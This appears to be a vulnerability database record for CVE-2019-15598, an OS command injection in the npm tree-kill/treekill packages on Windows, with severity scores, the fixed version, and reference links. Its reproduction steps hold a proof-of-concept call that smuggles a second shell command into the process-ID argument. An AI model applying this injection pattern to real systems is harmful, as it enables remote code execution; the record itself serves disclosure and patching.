{"id":"CVE-2019-15598","aliases":[],"url":"https://o3.security/vulnerability/CVE-2019-15598","summary":"Treekill Enables OS Command Injection","details":"A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.\n\n### Steps To Reproduce:\nCreate the following PoC file:\n\n```js\nvar kill = require('treekill');\nkill('3333332 & echo \"HACKED\" > HACKED.txt & ');\n```\n\nExecute the following commands in terminal:\n\n```shell\nnpm i treekill # Install affected module\ndir # Check *HACKED.txt* doesn't exist\nnode poc.js #  Run the PoC\ndir # Now *HACKED.txt* exists :)\n```\n\nThe HACKED.txt has been created","published":"2022-05-24T17:04:00Z","modified":"2024-04-22T23:44:02.289143Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.02742,"percentile":0.8498,"asOf":"2026-08-23"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"tree-kill","fixedVersion":"1.2.2"}],"fix":{"url":"https://github.com/pkrumins/node-tree-kill/pull/31","label":"pkrumins/node-tree-kill#31"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-15598"},{"type":"WEB","url":"https://github.com/pkrumins/node-tree-kill/issues/30"},{"type":"WEB","url":"https://github.com/pkrumins/node-tree-kill/pull/31"},{"type":"WEB","url":"https://github.com/pkrumins/node-tree-kill/commit/ff73dbf144c4c2daa67799a50dfff59cd455c63c"},{"type":"WEB","url":"https://hackerone.com/reports/701183"},{"type":"WEB","url":"https://hackerone.com/reports/703415"},{"type":"WEB","url":"https://github.com/node-modules/treekill/blob/master/index.js#L32"},{"type":"PACKAGE","url":"https://github.com/pkrumins/node-tree-kill"},{"type":"WEB","url":"https://security.snyk.io/vuln/SNYK-JS-TREEKILL-536781"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2024-04-22T23:44:02.289143Z"}}